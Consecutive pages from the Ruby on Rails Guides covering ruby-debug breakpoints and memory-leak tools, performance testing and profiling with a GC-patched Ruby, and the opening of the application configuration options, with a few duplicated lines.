The difference between `next` and `step` is that `step` stops at the next line of code executed, doing just a single step, while `next` moves to the next line without descending inside methods.

For example, consider this block of code with an included `debugger` statement:

```
class Author < ActiveRecord::Base
  has_one :editorial
  has_many :comments

  def find_recent_comments(limit = 10)
    debugger
    @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
  end
end
```

You can use ruby-debug while using `rails console`. Just remember to `require "ruby-debug"` before calling the `debugger` method.

```
$ rails console
Loading development environment (Rails 3.1.0)
>> require "ruby-debug"
=> []
```

```
=> [1]
>> author = Author.first
=> #<Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10">
>> author.find_recent_comments
/PathTo/project/app/models/author.rb:11
)
```

With the code stopped, take a look around:

```
(rdb:1) list
[2, 9] in /PathTo/project/app/models/author.rb
   2    has_one :editorial
   3    has_many :comments
   4
   5    def find_recent_comments(limit = 10)
   6      debugger
=> 7      @recent_comments ||= comments.where("created_at > ?", 1.week.ago).limit(limit)
   8    end
   9  end
```

You are at the end of the line, but... was this line executed? You can inspect the instance variables.

```
(rdb:1) var instance
@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
@attributes_cache = {}
```

`@recent_comments` hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the `next` command to move on in the code:

```
(rdb:1) next
/PathTo/project/app/models/author.rb:12
@recent_comments
(rdb:1) var instance
@attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
@attributes_cache = {}
@comments = []
@recent_comments = []
```

Now you can see that the `@comments` relationship was loaded and @recent_comments defined because the line was executed.

If you want to go deeper into the stack trace you can move single `steps`, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.

3.7 Breakpoints

A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.

You can add breakpoints dynamically with the command `break` (or just `b`). There are 3 possible ways of adding breakpoints manually:

- `break line`: set breakpoint in the *line* in the current source file.
- `break file:line [if expression]`: set breakpoint in the *line* number inside the *file*. If an *expression* is given it must evaluated to *true* to fire up the debugger.
- `break class(.|\#)method [if expression]`: set breakpoint in *method* (. and \# for class and instance method respectively) defined in *class*. The *expression* works the same way as with file:line.

```
(rdb:5) break 10
Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
```

Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.

```
(rdb:5) info breakpoints
Num Enb What
  1 y   at filters.rb:10
```

To delete breakpoints: use the command `delete _n_` to remove the breakpoint number *n*. If no number is specified, it deletes all breakpoints that are currently active..

```
(rdb:5) delete 1
(rdb:5) info breakpoints
No breakpoints.
```

You can also enable or disable breakpoints:

- `enable breakpoints`: allow a list *breakpoints* or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
- `disable breakpoints`: the *breakpoints* will have no effect on your program.

3.8 Catching Exceptions

The command `catch exception-name` (or just `cat exception-name`) can be used to intercept an exception of type *exception-name* when there would otherwise be is no handler for it.

To list all active catchpoints use `catch`.

3.9 Resuming Execution

There are two ways to resume execution of an application that is stopped in the debugger:

- `continue` [line-specification] (or `c`): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
- `finish` [frame-number] (or `fin`): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.

3.10 Editing

Two commands allow you to open code from the debugger into an editor:

Two commands allow you to open code from the debugger into an editor:

- `edit [file:line]`: edit *file* using the editor specified by the EDITOR environment variable. A specific *line* can also be given.
- `tmate _n_` (abbreviated `tm`): open the current file in TextMate. It uses n-th frame if *n* is specified.

3.11 Quitting

To exit the debugger, use the `quit` command (abbreviated `q`), or its alias `exit`.

A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.

3.12 Settings

There are some settings that can be configured in ruby-debug to make it easier to debug your code. Here are a few of the available options:

- `set reload`: Reload source code when changed.
- `set autolist`: Execute `list` command on every breakpoint.
- `set listsize _n_`: Set number of source lines to list by default to *n*.
- `set forcestep`: Make sure the `next` and `step` commands always move to a new line

You can see the full list by using `help set`. Use `help set _subcommand_` to learn about a particular `set` command.

You can include any number of these configuration lines inside a `.rdebugrc` file in your HOME directory. ruby-debug will read this file every time it is loaded and configure itself accordingly.

Here's a good start for an `.rdebugrc`:

```
set autolist
set forcestep
set listsize 25
```

4 Debugging Memory Leaks

A Ruby application (on Rails or not), can leak memory – either in the Ruby code or at the C code level.

In this section, you will learn how to find and fix such leaks by using tools such as BleakHouse and Valgrind.

4.1 BleakHouse

BleakHouse is a library for finding memory leaks.

If a Ruby object does not go out of scope, the Ruby Garbage Collector won't sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap.

To install it run:

```
$ sudo gem install bleak_house
```

Then setup your application for profiling. Then add the following at the bottom of config/environment.rb:

```
require 'bleak_house' if ENV['BLEAK_HOUSE']
```

Start a server instance with BleakHouse integration:

```
$ RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house rails server
```

Make sure to run a couple hundred requests to get better data samples, then press `CTRL-C`. The server will stop and Bleak House will produce a dumpfile in `/tmp`:

```
** BleakHouse: working...
** BleakHouse: complete
** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze.
```

To analyze it, just run the listed command. The top 20 leakiest lines will be listed:

```
191691 total objects
  Final heap size 191691 filled, 220961 free
  Displaying top 20 most common line/class pairs
  89513 __null__:__null__:__node__
  41438 __null__:__null__:String
  2348 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:Array
  1508 /opt/local//lib/ruby/gems/1.8/specifications/gettext-1.90.0.gemspec:14:String
  1021 /opt/local//lib/ruby/gems/1.8/specifications/heel-0.2.0.gemspec:14:String
   951 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:111:String
   935 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:String
   834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array
  ...
```

This way you can find where your application is leaking memory and fix it.

If **BleakHouse** doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.

4.2 Valgrind

Valgrind is a Linux-only application for detecting C-based memory leaks and race conditions.

There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls `malloc()` but is doesn't properly call `free()`, this memory won't be available until the app terminates.

For further information on how to install Valgrind and use with Ruby, refer to **Valgrind and Ruby** by Evan Weaver.

5 Plugins for Debugging

There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:

- **Footnotes**: Every Rails page has footnotes that give request information and link back to your source via TextMate.
- **Query Trace**: Adds query origin tracing to your logs.

- **Query Trace**: Adds query origin tracing to your logs.
- **Query Stats**: A Rails plugin to track database queries.
- **Query Reviewer**: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
- **Exception Notifier**: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
- **Exception Logger**: Logs your Rails exceptions in the database and provides a funky web interface to manage them.

6 References

- **ruby-debug Homepage**
- **Article: Debugging a Rails application with ruby-debug**
- **ruby-debug Basics screencast**
- **Ryan Bate's ruby-debug screencast**
- **Ryan Bate's stack trace screencast**
- **Ryan Bate's logger screencast**
- **Debugging with ruby-debug**
- **ruby-debug cheat sheet**
- **Ruby on Rails Wiki: How to Configure Logging**
- **Bleak House Documentation**

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Performance Testing Rails Applications

This guide covers the various ways of performance testing a Ruby on Rails application. By referring to this guide, you will be able to:

- Understand the various types of benchmarking and profiling metrics
- Generate performance and benchmarking tests
- Install and use a GC-patched Ruby binary to measure memory usage and object allocation
- Understand the benchmarking information provided by Rails inside the log files
- Learn about various tools facilitating benchmarking and profiling

Performance testing is an integral part of the development cycle. It is very important that you don't make your end users wait for too long before the page is completely loaded. Ensuring a pleasant browsing experience for end users and cutting the cost of unnecessary hardware is important for any non-trivial web application.

Chapters

1. Performance Test Cases
    - Generating Performance Tests
    - Examples
    - Modes
    - Metrics
    - Understanding the Output
    - Tuning Test Runs
    - Performance Test Environment
    - Installing GC-Patched MRI
    - Using Ruby-Prof on MRI and REE
2. Command Line Tools
    - `benchmarker`
    - `profiler`
3. Helper Methods
    - Model
    - Controller
    - View
4. Request Logging
5. Useful Links
    - Rails Plugins and Gems
    - Generic Tools
    - Tutorials and Documentation
6. Commercial Products

1 Performance Test Cases

Rails performance tests are a special type of integration tests, designed for benchmarking and profiling the test code. With performance tests, you can determine where your application's memory or speed problems are coming from, and get a more in-depth picture of those problems.

In a freshly generated Rails application, `test/performance/browsing_test.rb` contains an example of a performance test:

```
require 'test_helper'
require 'rails/performance_test_help'

# Profiling results for each test method are written to tmp/performance.
class BrowsingTest < ActionDispatch::PerformanceTest
  def test_homepage
    get '/'
  end
end
```

This example is a simple performance test case for profiling a GET request to the application's homepage.

1.1 Generating Performance Tests

Rails provides a generator called `performance_test` for creating new performance tests:

```
$ rails generate performance_test homepage
```

This generates `homepage_test.rb` in the `test/performance` directory:

```
require 'test_helper'
require 'rails/performance_test_help'

class HomepageTest < ActionDispatch::PerformanceTest
  # Replace this with your real tests.
  def test_homepage
    get '/'
  end
end
```

1.2 Examples

Let's assume your application has the following controller and model:

```
# routes.rb
root :to => 'home#index'
resources :posts

# home_controller.rb
class HomeController < ApplicationController
  def dashboard
    @users = User.last_ten.includes(:avatars)
    @posts = Post.all_today
  end
end

# posts_controller.rb
class PostsController < ApplicationController
  def create
    @post = Post.create(params[:post])
    redirect_to(@post)
  end
end

# post.rb
class Post < ActiveRecord::Base
  before_save :recalculate_costly_stats

  def slow_method
    # I fire gallzilion queries sleeping all around
  end

  private

  def recalculate_costly_stats
    # CPU heavy calculations
  end
end
```

1.2.1 Controller Example

Because performance tests are a special kind of integration test, you can use the `get` and `post` methods in them.

Here's the performance test for `HomeController#dashboard` and `PostsController#create`:

```
require 'test_helper'
require 'rails/performance_test_help'

class PostPerformanceTest < ActionDispatch::PerformanceTest
  def setup
    # Application requires logged-in user
    login_as(:lifo)
  end

  def test_homepage
    get '/dashboard'
  end

  def test_creating_new_post
    post '/posts', :post => { :body => 'lifo is fooling you' }
  end
end
```

You can find more details about the `get` and `post` methods in the **Testing Rails Applications** guide.

1.2.2 Model Example

Even though the performance tests are integration tests and hence closer to the request/response cycle by nature, you can still performance test pure model code.

Performance test for `Post` model:

```
require 'test_helper'
require 'rails/performance_test_help'

class PostModelTest < ActionDispatch::PerformanceTest
  def test_creation
    Post.create :body => 'still fooling you', :cost => '100'
  end

  def test_slow_method
    # Using posts(:awesome) fixture
    posts(:awesome).slow_method
  end
end
```

1.3 Modes

Performance tests can be run in two modes: Benchmarking and Profiling.

1.3.1 Benchmarking

Benchmarking makes it easy to quickly gather a few metrics about each test run. By default, each test case is run **4 times** in benchmarking mode.

To run performance tests in benchmarking mode:

```
$ rake test:benchmark
```

1.3.2 Profiling

Profiling allows you to make an in-depth analysis of each of your tests by using an external profiler. Depending on your Ruby interpreter, this profiler can be native (Rubinius, JRuby) or not (MRI, which uses RubyProf). By default, each test case is run **once** in profiling mode.

To run performance tests in profiling mode:

```
$ rake test:profile
```

1.4 Metrics

Benchmarking and profiling run performance tests and give you multiple metrics. The availability of each metric is determined by the interpreter being used—none of them support all metrics—and by the mode in use. A brief description of each metric and their availability across interpreters/modes is given below.

1.4.1 Wall Time

Wall time measures the real world time elapsed during the test run. It is affected by any other processes concurrently running on the system.

1.4.2 Process Time

Process time measures the time taken by the process. It is unaffected by any other processes running concurrently on the same system. Hence, process time is likely to be constant for any given performance test, irrespective of the machine load.

1.4.3 CPU Time

Similar to process time, but leverages the more accurate CPU clock counter available on the Pentium and PowerPC platforms.

1.4.4 User Time

User time measures the amount of time the CPU spent in user-mode, i.e. within the process. This is not affected by other processes and by the time it possibly spends blocked.

1.4.5 Memory

Memory measures the amount of memory used for the performance test case

Memory measures the amount of memory used for the performance test case.

1.4.6 Objects

Objects measures the number of objects allocated for the performance test case.

1.4.7 GC Runs

GC Runs measures the number of times GC was invoked for the performance test case.

1.4.8 GC Time

GC Time measures the amount of time spent in GC for the performance test case.

1.4.9 Metric Availability

1.4.9.1 Benchmarking

Interpreter	Wall Time	Process Time	CPU Time	User Time	Memory	Objects	GC Runs	GC Time
MRI	yes	yes	yes	no	yes	yes	yes	yes
REE	yes	yes	yes	no	yes	yes	yes	yes
Rubinius	yes	no	no	no	yes	yes	yes	yes
JRuby	yes	no	no	yes	yes	yes	yes	yes

1.4.9.2 Profiling

Interpreter	Wall Time	Process Time	CPU Time	User Time	Memory	Objects	GC Runs	GC Time
MRI	yes	yes	no	no	yes	yes	yes	yes
REE	yes	yes	no	no	yes	yes	yes	yes
Rubinius	yes	no	no	no	no	no	no	no
JRuby	yes	no	no	no	no	no	no	no

To profile under JRuby you'll need to run `export JRUBY_OPTS="-Xlaunch.inproc=false --profile.api"` **before** the performance tests.

1.5 Understanding the Output

Performance tests generate different outputs inside `tmp/performance` directory depending on their mode and metric.

1.5.1 Benchmarking

In benchmarking mode, performance tests generate two types of outputs.

1.5.1.1 Command Line

This is the primary form of output in benchmarking mode. Example:

```
BrowsingTest#test_homepage (31 ms warmup)
           wall_time: 6 ms
              memory: 437.27 KB
             objects: 5,514
             gc_runs: 0
             gc_time: 19 ms
```

1.5.1.2 CSV Files

Performance test results are also appended to `.csv` files inside `tmp/performance`. For example, running the default `BrowsingTest#test_homepage` will generate following five files:

- BrowsingTest#test_homepage_gc_runs.csv
- BrowsingTest#test_homepage_gc_time.csv
- BrowsingTest#test_homepage_memory.csv
- BrowsingTest#test_homepage_objects.csv
- BrowsingTest#test_homepage_wall_time.csv

As the results are appended to these files each time the performance tests are run in benchmarking mode, you can collect data over a period of time. This can be very helpful in analyzing the effects of code changes.

Sample output of `BrowsingTest#test_homepage_wall_time.csv`:

```
measurement,created_at,app,rails,ruby,platform
0.00738224999999992,2009-01-08T03:40:29Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
0.00755874999999984,2009-01-08T03:46:18Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
0.00762099999999993,2009-01-08T03:49:25Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
```

```
0.00603075000000008,2009-01-08T04:03:29Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
0.00619899999999995,2009-01-08T04:03:53Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
0.00755449999999991,2009-01-08T04:04:55Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
0.00595999999999997,2009-01-08T04:05:06Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
0.00740450000000004,2009-01-09T03:54:47Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
0.00603150000000008,2009-01-09T03:54:57Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
0.00771250000000012,2009-01-09T15:46:03Z,,3.0.0,ruby-1.8.7.249,x86_64-linux
```

1.5.2 Profiling

In profiling mode, performance tests can generate multiple types of outputs. The command line output is always presented but support for the others is dependent on the interpreter in use. A brief description of each type and their availability across interpreters is given below.

1.5.2.1 Command Line

This is a very basic form of output in profiling mode:

```
BrowsingTest#test_homepage (58 ms warmup)
        process_time: 63 ms
              memory: 832.13 KB
             objects: 7,882
```

1.5.2.2 Flat

Flat output shows the metric—time, memory, etc—measure in each method. **Check Ruby-Prof documentation for a better explanation**.

1.5.2.3 Graph

Graph output shows the metric measure in each method, which methods call it and which methods it calls. **Check Ruby-Prof documentation for a better explanation**.

1.5.2.4 Tree

Tree output is profiling information in calltree format for use by **kcachegrind** and similar tools.

1.5.2.5 Output Availability

	Flat	Graph	Tree
MRI	yes	yes	yes
REE	yes	yes	yes
Rubinius	yes	yes	no
JRuby	yes	yes	no

1.6 Tuning Test Runs

Test runs can be tuned by setting the `profile_options` class variable on your test class.

```
require 'test_helper'
require 'rails/performance_test_help'

# Profiling results for each test method are written to tmp/performance.
class BrowsingTest < ActionDispatch::PerformanceTest
  self.profile_options = { :runs => 5,
                           :metrics => [:wall_time, :memory] }

  def test_homepage
    get '/'
  end
end
```

In this example, the test would run 5 times and measure wall time and memory. There are a few configurable options:

Option	Description	Default	Mode
`:runs`	Number of runs.	Benchmarking: 4, Profiling: 1	Both
`:output`	Directory to use when writing the results.	`tmp/performance`	Both
`:metrics`	Metrics to use.	See below.	Both
`:formats`	Formats to output to.	See below.	Profiling

Metrics and formats have different defaults depending on the interpreter in use.

Interpreter Mode	Default metrics	Default formats

MRI/REE	Benchmarking	`[:wall_time, :memory, :objects, :gc_runs, :gc_time]`	N/A
	Profiling	`[:process_time, :memory, :objects]`	`[:flat, :graph_html, :call_tree, :call_stack]`
Rubinius	Benchmarking	`[:wall_time, :memory, :objects, :gc_runs, :gc_time]`	N/A
	Profiling	`[:wall_time]`	`[:flat, :graph]`
JRuby	Benchmarking	`[:wall_time, :user_time, :memory, :gc_runs, :gc_time]`	N/A
	Profiling	`[:wall_time]`	`[:flat, :graph]`

As you've probably noticed by now, metrics and formats are specified using a symbol array with each name **underscored.**

1.7 Performance Test Environment

Performance tests are run in the `test` environment. But running performance tests will set the following configuration parameters:

```
ActionController::Base.perform_caching = true
ActiveSupport::Dependencies.mechanism = :require
Rails.logger.level = ActiveSupport::BufferedLogger::INFO
```

As `ActionController::Base.perform_caching` is set to `true`, performance tests will behave much as they do in the `production` environment.

1.8 Installing GC-Patched MRI

To get the best from Rails' performance tests under MRI, you'll need to build a special Ruby binary with some super powers.

The recommended patches for each MRI version are:

Version	Patch
1.8.6	ruby186gc
1.8.7	ruby187gc
1.9.2 and above	gcdata

All of these can be found on **RVM's *patches* directory** under each specific interpreter version.

Concerning the installation itself, you can either do this easily by using **RVM** or you can build everything from source, which is a little bit harder.

1.8.1 Install Using RVM

The process of installing a patched Ruby interpreter is very easy if you let RVM do the hard work. All of the following RVM commands will provide you with a patched Ruby interpreter:

```
$ rvm install 1.9.2-p180 --patch gcdata
$ rvm install 1.8.7 --patch ruby187gc
$ rvm install 1.9.2-p180 --patch ~/Downloads/downloaded_gcdata_patch.patch
```

You can even keep your regular interpreter by assigning a name to the patched one:

```
$ rvm install 1.9.2-p180 --patch gcdata --name gcdata
$ rvm use 1.9.2-p180 # your regular ruby
$ rvm use 1.9.2-p180-gcdata # your patched ruby
```

And it's done! You have installed a patched Ruby interpreter.

1.8.2 Install From Source

This process is a bit more complicated, but straightforward nonetheless. If you've never compiled a Ruby binary before, follow these steps to build a Ruby binary inside your home directory.

1.8.2.1 Download and Extract

```
$ mkdir rubygc
$ wget <the version you want from ftp://ftp.ruby-lang.org/pub/ruby>
$ tar -xzvf <ruby-version.tar.gz>
$ cd <ruby-version>
```

1.8.2.2 Apply the Patch

```
$ curl http://github.com/wayneeseguin/rvm/raw/master/patches/ruby/1.9.2/p180/gcdata.patch | patch -p0 # if you're on 1.9.2!
$ curl http://github.com/wayneeseguin/rvm/raw/master/patches/ruby/1.8.7/ruby187gc.patch | patch -p0 # if you're on 1.8.7!
```

1.8.2.3 Configure and Install

The following will install Ruby in your home directory's `/rubygc` directory. Make sure to replace `<homedir>` with a full patch to your actual home directory.

```
$ ./configure --prefix=/<homedir>/rubygc
$ make && make install
```

1.8.2.4 Prepare Aliases

For convenience, add the following lines in your `~/.profile`:

```
alias gcruby='~/rubygc/bin/ruby'
alias gcrake='~/rubygc/bin/rake'
alias gcgem='~/rubygc/bin/gem'
alias gcirb='~/rubygc/bin/irb'
alias gcrails='~/rubygc/bin/rails'
```

Don't forget to use your aliases from now on.

1.8.2.5 Install RubyGems (1.8 only!)

Download **RubyGems** and install it from source. Rubygem's README file should have necessary installation instructions. Please note that this step isn't necessary if you've installed Ruby 1.9 and above.

1.9 Using Ruby-Prof on MRI and REE

Add Ruby-Prof to your applications' Gemfile if you want to benchmark/profile under MRI or REE:

```
gem 'ruby-prof', :git => 'git://github.com/wycats/ruby-prof.git'
```

Now run `bundle install` and you're ready to go.

2 Command Line Tools

Writing performance test cases could be an overkill when you are looking for one time tests. Rails ships with two command line tools that enable quick and dirty performance testing:

2.1 `benchmarker`

Usage:

```
Usage: rails benchmarker 'Ruby.code' 'Ruby.more_code' ... [OPTS]
    -r, --runs N                     Number of runs.
                                     Default: 4
    -o, --output PATH                Directory to use when writing the results.
                                     Default: tmp/performance
    -m, --metrics a,b,c              Metrics to use.
                                     Default: wall_time,memory,objects,gc_runs,gc_time
```

Example:

```
$ rails benchmarker 'Item.all' 'CouchItem.all' --runs 3 --metrics wall_time,memory
```

2.2 `profiler`

Usage:

```
Usage: rails profiler 'Ruby.code' 'Ruby.more_code' ... [OPTS]
    -r, --runs N                     Number of runs.
                                     Default: 1
    -o, --output PATH                Directory to use when writing the results.
                                     Default: tmp/performance
        --metrics a,b,c              Metrics to use.
                                     Default: process_time,memory,objects
    -m, --formats x,y,z              Formats to output to.
                                     Default: flat,graph_html,call_tree
```

Example:

```
$ rails profiler 'Item.all' 'CouchItem.all' --runs 2 --metrics process_time --formats flat
```

Metrics and formats vary from interpreter to interpreter. Pass `--help` to each tool to see the defaults for your interpreter.

3 Helper Methods

Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a given piece of code. The method is called `benchmark()` in all the three components.

3.1 Model

```
Project.benchmark("Creating project") do
  project = Project.create("name" => "stuff")
  project.create_manager("name" => "David")
  project.milestones << Milestone.all
end
```

This benchmarks the code enclosed in the `Project.benchmark("Creating project") do...end` block and prints the result to the log file:

```
Creating project (185.3ms)
```

Please refer to the **API docs** for additional options to `benchmark()`

3.2 Controller

Similarly, you could use this helper method inside **controllers**

```
def process_projects
  self.class.benchmark("Processing projects") do
    Project.process(params[:project_ids])
    Project.update_cached_projects
  end
end
```

`benchmark` is a class method inside controllers

3.3 View

And in **views**:

```
<% benchmark("Showing projects partial") do %>
  <%= render @projects %>
<% end %>
```

4 Request Logging

Rails log files contain very useful information about the time taken to serve each request. Here's a typical log file entry:

```
Processing ItemsController#index (for 127.0.0.1 at 2009-01-08 03:06:39) [GET]
Rendering template within layouts/items
Rendering items/index
Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
```

For this section, we're only interested in the last line:

```
Completed in 5ms (View: 2, DB: 0) | 200 OK [http://0.0.0.0/items]
```

This data is fairly straightforward to understand. Rails uses millisecond(ms) as the metric to measure the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It's safe to assume that the remaining 3 ms were spent inside the controller.

Michael Koziarski has an **interesting blog post** explaining the importance of using milliseconds as the metric.

5 Useful Links

5.1 Rails Plugins and Gems

- **Rails Analyzer**
- **Palmist**
- **Rails Footnotes**
- **Query Reviewer**

5.2 Generic Tools

- **httperf**
- **ab**
- **JMeter**
- **kcachegrind**

5.3 Tutorials and Documentation

5.5 Tutorials and Documentation

- **ruby-prof API Documentation**
- **Request Profiling Railscast** – Outdated, but useful for understanding call graphs

6 Commercial Products

Rails has been lucky to have a few companies dedicated to Rails-specific performance tools. A couple of those are:

- **New Relic**
- **Scout**

Feedback

You're encouraged to help improve the quality of this guide.

If you see any typos or factual errors you are confident to patch, please clone **docrails** and push the change yourself. That branch of Rails has public write access. Commits are still reviewed, but that happens after you've submitted your contribution. **docrails** is cross-merged with master periodically.

You may also find incomplete content, or stuff that is not up to date. Please do add any missing documentation for master. Check the **Ruby on Rails Guides Guidelines** for style and conventions.

If for whatever reason you spot something to fix but cannot patch it yourself, please **open an issue**.

And last but not least, any kind of discussion regarding Ruby on Rails documentation is very welcome in the **rubyonrails-docs mailing list**.

Guides.rubyonrails.org

Configuring Rails Applications

This guide covers the configuration and initialization features available to Rails applications. By referring to this guide, you will be able to:

- Adjust the behavior of your Rails applications
- Add additional code to be run at application start time

Chapters

1. Locations for Initialization Code
2. Running Code Before Rails
3. Configuring Rails Components
    - Rails General Configuration
    - Configuring Assets
    - Configuring Generators
    - Configuring Middleware
    - Configuring i18n
    - Configuring Active Record
    - Configuring Action Controller
    - Configuring Action Dispatch
    - Configuring Action View
    - Configuring Action Mailer
    - Configuring Active Resource
    - Configuring Active Support
4. Rails Environment Settings
5. Using Initializer Files
6. Initialization events
    - `Rails::Railtie#initializer`
    - Initializers

1 Locations for Initialization Code

Rails offers four standard spots to place initialization code:

- `config/application.rb`
- Environment-specific configuration files
- Initializers
- After-initializers

2 Running Code Before Rails

In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to `require 'rails/all'` in `config/application.rb`.

3 Configuring Rails Components

In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file `config/application.rb` and environment-specific configuration files (such as `config/environments/production.rb`) allow you to specify the various settings that you want to pass down to all of the components.

For example, the default `config/application.rb` file includes this setting:

```
config.filter_parameters += [:password]
```

This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same `config` object in `config/application.rb`:

```
config.active_record.observers = [:hotel_observer, :review_observer]
```

Rails will use that particular setting to configure Active Record.

3.1 Rails General Configuration

These configuration methods are to be called on a `Rails::Railtie` object, such as a subclass of `Rails::Engine` or `Rails::Application`.

- `config.after_initialize` takes a block which will be run *after* Rails has finished initializing the application. That includes the initialization of the framework itself, plugins, engines, and all the application's initializers in `config/initializers`. Note that this block *will* be run for rake tasks. Useful for configuring values set up by other initializers:

```
config.after_initialize do
  ActionView::Base.sanitized_allowed_tags.delete 'div'
end
```

- `config.allow_concurrency` should be true to allow concurrent (threadsafe) action processing. False by default. You probably don't want to call this one directly, though, because a series of other adjustments need to be made for threadsafe mode to work properly. Can also be enabled with `threadsafe!`.

- `config.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints builtin in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`.

- `config.asset_path` lets you decorate asset paths. This can be a callable, a string, or be `nil` which is the default. For example, the normal path for `blog.js` would be `/javascripts/blog.js`, let that absolute path be `path`. If `config.asset_path` is a callable, Rails calls it when generating asset paths passing `path` as argument. If `config.asset_path` is a string, it is expected to be a `sprintf` format string with a `%s` where `path` will get inserted. In either case, Rails outputs the decorated path. Shorter version of `config.action_controller.asset_path`.

```
config.asset_path = proc { |path| "/blog/public#{path}" }
```

The `config.asset_path` configuration is ignored if the asset pipeline is enabled, which is the default.

- `config.autoload_once_paths` accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if `config.cache_classes` is false, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in `autoload_paths`. Default is an empty array.

- `config.autoload_paths` accepts an array of paths from which Rails will autoload constants. Default is all directories under `app`.

- `config.cache_classes` controls whether or not application classes and modules should be reloaded on each request. Defaults to false in development mode, and true in test and production modes. Can also be enabled with `threadsafe!`.

- `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`.

- `config.cache_store` configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, or an object that implements the cache API. Defaults to `:file_store` if the directory `tmp/cache` exists, and to `:memory_store` otherwise.

- `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to true.

- `config.consider_all_requests_local` is a flag. If true then any error will cause detailed debugging information to be dumped in the HTTP response, and the `Rails::Info` controller will show the application runtime context in `/rails/info/properties`. True by default in development and test environments, and false in production mode

`/rails/info/properties`. True by default in development and test environments, and false in production mode. For finer-grained control, set this to false and implement `local_request?` in controllers to specify which requests should provide debugging information on errors.

- `config.dependency_loading` is a flag that allows you to disable constant autoloading setting it to false. It only has effect if `config.cache_classes` is true, which it is by default in production mode. This flag is set to false by `config.threadsafe!`.
- `config.eager_load_paths` accepts an array of paths from which Rails will eager load on boot if cache classes is enabled. Defaults to every folder in the `app` directory of the application.
- `config.encoding` sets up the application-wide encoding. Defaults to UTF-8.
- `config.exceptions_app` sets the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`.
- `config.file_watcher` the class used to detect file updates in the filesystem when `config.reload_classes_only_on_change` is true. Must conform to `ActiveSupport::FileUpdateChecker` API.
- `config.filter_parameters` used for filtering out the parameters that you don't want shown in the logs, such as passwords or credit card numbers.
- `config.force_ssl` forces all requests to be under HTTPS protocol by using `Rack::SSL` middleware.
- `config.log_level` defines the verbosity of the Rails logger. This option defaults to `:debug` for all modes except production, where it defaults to `:info`.
- `config.log_tags` accepts a list of methods that respond to `request` object. This makes it easy to tag log lines with debug information like subdomain and request id — both very helpful in debugging multi-user production applications.
- `config.logger` accepts a logger conforming to the interface of Log4r or the default Ruby `Logger` class. Defaults to an instance of `ActiveSupport::BufferedLogger`, with auto flushing off in production mode.
